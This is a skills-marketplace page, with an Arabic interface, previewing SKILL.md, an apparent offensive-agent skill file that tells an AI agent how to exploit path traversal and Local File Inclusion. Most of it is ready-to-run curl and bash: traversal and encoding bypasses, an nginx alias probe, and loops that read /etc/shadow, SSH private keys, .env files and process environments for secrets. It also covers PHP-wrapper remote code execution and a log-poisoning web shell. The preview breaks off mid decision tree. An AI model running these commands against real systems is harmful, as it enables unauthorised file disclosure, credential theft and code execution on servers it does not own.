Skip to main content

lfi

Path traversal and Local File Inclusion (LFI) — arbitrary file reading via directory traversal, PHP filter/input/data wrappers for RCE, log poisoning, static resource disclosure, and information leakage. Use for any challenge involving file path manipulation, ../ traversal, local file read, PHP wrappers, or sensitive file disclosure.

معلومات المصدر

المستودع
BitterSecurity/Decepticon
آخر نشاط في المصدر
٢٦ مايو ٢٠٢٦ في ٠٣:١٢
لغة SKILL.md المكتشفة
الإنجليزية
النجوم
٥٬٦١١
التفرعات
١٬٠٦١

خيارات التثبيت

يُحدَّد Prompt الذي يراجع المصدر أولًا بشكل افتراضي. يمكنك التبديل إلى أمر مباشر أو تنزيل نسخة محلية.

مراجعة ملفات المصدر

اقرأ SKILL.md وأي ملفات مرافقة يعرضها SkillsMP قبل أن تقرر التثبيت.

عرض SKILL.md

SKILL.md
تعليمات المصدر · معاينة للقراءة فقط
name
lfi
description
Path traversal and Local File Inclusion (LFI) — arbitrary file reading via directory traversal, PHP filter/input/data wrappers for RCE, log poisoning, static resource disclosure, and information leakage. Use for any challenge involving file path manipulation, ../ traversal, local file read, PHP wrappers, or sensitive file disclosure.
allowed-tools
Bash Read Write
metadata
{"subdomain":"execution","when_to_use":"lfi, local file inclusion, path traversal, directory traversal, file read, php wrapper, log poisoning, file disclosure, information_disclosure, static resource, file download, include, require, file path, dot dot slash, ../, path manipulation, poison inclusion, deprecated, php filter, php input, source code read","tags":"web-application, lfi, path-traversal, file-inclusion, information-disclosure","mitre_attack":"T1190, T1005"}
# Path Traversal / Local File Inclusion (LFI) Exploits insufficient path validation to read arbitrary files or include them for execution. Often targets file download/display endpoints, template inclusion, or static resource handlers. ## Precondition — Use Recon Handoff First If the recon handoff (`recon/SUMMARY.md` `RECON_HANDOFF:` line) names a specific file/path parameter (e.g. `/<endpoint>?file=`, `/<endpoint>?path=`, `/<endpoint>?name=`), START with the parameter named in the handoff. Do NOT run `gobuster`/`ffuf`/`dirb` against the host before testing the handoff parameter — recon already enumerated the surface. The Detection block below is for engagements where NO recon handoff exists. The first 3 commands you run in this skill MUST target the recon-named parameter with these payload classes (one per command): 1. plain traversal — `../../../etc/passwd` 2. stripped-traversal bypass — `....//....//....//etc/passwd` 3. PHP wrapper — `php://filter/convert.base64-encode/resource=<file>` Only if all three return baseline-matched response (per the §"Response Body Verification" check) should you consider broader endpoint discovery — and that discovery belongs in `exploit/PIVOT.md` first, documenting (a) what payload classes you tried against the handoff parameter, (b) why the handoff vector is exhausted, (c) the new surface you are moving to. ## Detection ```bash # Basic path traversal probes on common parameters for param in file name path page template doc include src resource filename load; do resp=$(curl -s -o /dev/null -w "%{http_code}" "http://<TARGET>/?$param=../../../etc/passwd") [ "$resp" != "404" ] && echo "Param '$param' returned $resp" done # Test traversal depth curl -s 'http://<TARGET>/file?name=../../../etc/passwd' curl -s 'http://<TARGET>/file?name=../../../../etc/passwd' curl -s 'http://<TARGET>/file?name=../../../../../etc/passwd' # URL-encoded traversal curl -s 'http://<TARGET>/file?name=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd' # Double URL-encoded (when server decodes twice) curl -s 'http://<TARGET>/file?name=%252e%252e%252f%252e%252e%252fetc%252fpasswd' # Null byte (older PHP < 5.3.4) curl -s 'http://<TARGET>/file?name=../../../etc/passwd%00.jpg' # Path in URL path segment curl -s 'http://<TARGET>/static/..%2f..%2f..%2fetc/passwd' curl -s 'http://<TARGET>/files/....//....//....//etc/passwd' ``` ## Server-Level Path Traversal (Nginx Alias Off-by-Slash) Distinct from PHP-parameter LFI: the vulnerability lives in the nginx config, not in application code. Frequently appears in production reverse-proxy / static-asset / admin-panel deployments. Test EVERY discovered URL prefix that returns a 301 redirect appending `/`, BEFORE moving to parameter fuzzing — this probe is one curl per prefix, near-zero cost, high signal. **Fingerprint** (any of these is enough to test): - `Server: nginx` response header - A path `/prefix` (no trailing slash) returns 301 redirecting to `/prefix/` — canonical signature of `location /prefix` (no slash) with a separate `location /prefix/` (with slash) - Static assets served under a path prefix (`/static`, `/assets`, `/images`, `/admin`, `/files`, `/uploads`) **Exploit pattern** — append `../` DIRECTLY after the prefix (no slash between): ```bash # For each prefix discovered in recon (gobuster/ffuf or 301-redirect probe): for prefix in admin static assets images files uploads docs api; do STATUS=$(curl -s -o /tmp/alias_${prefix}.txt -w '%{http_code}' "http://<TARGET>/${prefix}../etc/passwd") SIZE=$(wc -c < /tmp/alias_${prefix}.txt) echo "${prefix}: status=${STATUS} size=${SIZE}" grep -c 'root:' /tmp/alias_${prefix}.txt done # Then walk parents to find sensitive files near the alias root: PREFIX="admin" # the winning prefix from above for target in etc/passwd .env flag.txt flag config.php settings.py ../.env ../flag.txt; do curl -s "http://<TARGET>/${PREFIX}../${target}" | head -5 done ``` **Why it works**: when `location /prefix` lacks the trailing slash but `alias /target/` has one, nginx strips the URI's literal `/prefix` portion and concatenates the rest with the alias target. Request `/prefix../foo` → nginx removes `/prefix` → leaves `../foo` → resolves against `/target/` → `/target/../foo` = parent-directory access. **Distinguishing from `root` directive**: only `alias` is affected. A `location /static { root /var/www/; }` block is NOT vulnerable to this — nginx appends the FULL request URI to the root path, so `/static../etc/passwd` yields `/var/www/static../etc/passwd` (no traversal). The 301-redirect fingerprint is the cleanest way to tell them apart without reading the config. **Decision rule**: when LFI tag is in scope AND the server is nginx AND no PHP-parameter LFI is found, run the alias probe across EVERY discovered prefix before parameter fuzzing. The agent's pattern-completion failure mode is to recognize the nginx-alias concept but apply it only to one (often wrong) prefix — test all of them. ## Credential/Secret File Discovery ```bash # Try all common sensitive file locations via path traversal for f in /etc/passwd /etc/shadow /root/.ssh/id_rsa \ /var/www/html/.env /app/.env /app/config.py /app/settings.py \ /opt/app/config.json /srv/app/.env; do echo "=== $f ===" && curl -s "http://<TARGET>/file?name=../../../..$f" done # Also try reading from absolute path if misconfigured for f in /.env /app/.env /var/www/html/.env /etc/passwd; do echo "=== direct $f ===" && curl -s "http://<TARGET>/file?name=$f" done # Check environment variables (if /proc accessible) curl -s 'http://<TARGET>/file?name=../../../proc/self/environ' | tr '\0' '\n' | grep -iE 'secret|key|token|pass|cred' # Check application config files for secrets curl -s 'http://<TARGET>/file?name=../../../var/www/html/.env' curl -s 'http://<TARGET>/file?name=../../../app/.env' ``` ## Bypass Techniques ```bash # If ../ is stripped once (use ....// which becomes ../ after stripping) curl -s 'http://<TARGET>/file?name=....//....//....//etc/passwd' # If path must start with expected directory curl -s 'http://<TARGET>/file?name=/var/www/html/../../../etc/passwd' # Mixed encoding curl -s 'http://<TARGET>/file?name=..%252f..%252f..%252fetc/passwd' # Absolute path (misconfigured path join) curl -s 'http://<TARGET>/file?name=/etc/passwd' # Windows paths (if Windows target) curl -s 'http://<TARGET>/file?name=..\..\..\..\windows\win.ini' curl -s 'http://<TARGET>/file?name=..%5c..%5c..%5cwindows%5cwin.ini' ``` ## Response Body Verification (MANDATORY for path-traversal hits) A 200 status code on a traversal request does NOT mean the file was read. Common false-success patterns: - Web server fallback: nginx/Apache serves index.html when the requested file is not in the alias root - Application catch-all: framework returns a default "page not found" template with 200 status - WAF response: returns boilerplate page with 200 instead of 403 **MANDATORY verification before treating any traversal hit as success**: ```bash # Save the suspect response curl -s "https://<TARGET>/<traversal_path>" -o /tmp/probe.txt SIZE=$(wc -c < /tmp/probe.txt) # 1. Compare size to baseline (homepage / 404 page) curl -s "https://<TARGET>/" -o /tmp/baseline.txt BASELINE=$(wc -c < /tmp/baseline.txt) if [ "$SIZE" = "$BASELINE" ]; then echo "FAIL: response size matches homepage — server is serving fallback, NOT the target file" fi # 2. Grep for file-format signatures (depends on what file you're reading) grep -E '^root:x:0:0|^[a-z_-]+:[*x!]:' /tmp/probe.txt && echo "PASS: looks like /etc/passwd" grep -E '^<\?php|^#!/' /tmp/probe.txt && echo "PASS: looks like a script source" grep -E '^Linux|^[0-9.]+ [0-9.]+' /tmp/probe.txt && echo "PASS: looks like /proc content" file /tmp/probe.txt | grep -v 'HTML\|empty' && echo "PASS: file(1) detected non-HTML content" # 3. Try a known-content control file BEFORE concluding the bypass works # /etc/hostname is short (1 line), absolutely not HTML curl -s "https://<TARGET>/<traversal_prefix>etc/hostname" -o /tmp/hostname.txt HOSTNAME_SIZE=$(wc -c < /tmp/hostname.txt) if [ "$HOSTNAME_SIZE" -lt 100 ] && grep -qE '^[a-z0-9.-]+$' /tmp/hostname.txt; then echo "PASS: hostname read works — bypass confirmed, now retry target file" fi ``` **Decision rule**: If suspect response size matches homepage/baseline AND no file-format signature is present, the bypass is NOT working — pivot to a different technique (PHP wrappers, log poisoning, different traversal prefix). Do NOT iterate on the same path with different filenames; the path-validation layer is winning. **Anti-pattern**: getting a 200 with a body whose size matches the homepage on `/images../etc/passwd` (or similar nginx alias bypass) and treating it as a hit. The body bytes are homepage HTML — the alias bypass was syntactic only, not content-bearing. With this verification rule, the size match is detected in one call and the agent pivots to wrapper techniques instead of iterating filenames. ## PHP Wrappers (PHP LFI) ```bash # Read source code via php://filter (base64-encoded output) curl -s 'http://<TARGET>/page?file=php://filter/convert.base64-encode/resource=index.php' | base64 -d # RCE via php://input (if allow_url_include=On) curl -s 'http://<TARGET>/page?file=php://input' -d '<?php system("cat /.env"); ?>' # RCE via data:// wrapper curl -s 'http://<TARGET>/page?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJpZCIpOyA/Pg==' # The base64 decodes to: <?php system("id"); ?> — replace with desired command # Expect wrapper curl -s 'http://<TARGET>/page?file=expect://cat+/.env' ``` ## LFI to RCE via Log Poisoning ```bash # 1. Poison Apache/Nginx access log with PHP code in User-Agent curl -s 'http://<TARGET>/' -H 'User-Agent: <?php system($_GET["cmd"]); ?>' # 2. Include the log file to execute injected PHP curl -s 'http://<TARGET>/page?file=../../../var/log/apache2/access.log&cmd=cat+/.env' curl -s 'http://<TARGET>/page?file=../../../var/log/nginx/access.log&cmd=cat+/.env' # Alternative log paths curl -s 'http://<TARGET>/page?file=../../../var/log/httpd/access_log&cmd=cat+/.env' curl -s 'http://<TARGET>/page?file=../../../proc/self/fd/1&cmd=cat+/.env' ``` ## LFI to RCE via /proc ```bash # Read /proc/self/environ for env variables curl -s 'http://<TARGET>/page?file=../../../proc/self/environ' # If environment is readable, poison it via headers curl -s 'http://<TARGET>/page?file=../../../proc/self/environ' \ -H 'User-Agent: <?php system("cat /.env"); ?>' ``` ## Decision Tree ``` LFI identified? ├── Can read /etc/passwd via ../ → Confirmed plain traversal │ ├── Try sensitive files directly → /.env, /app/.env, /app/config.py │ ├── Try env vars → /proc/self/environ | grep -iE 'secret|key|token|pass'
عرض على GitHub
ملف SKILL.md هذا كبير جدا، لذلك يعرض SkillsMP القسم الاول فقط هنا. عرض على GitHub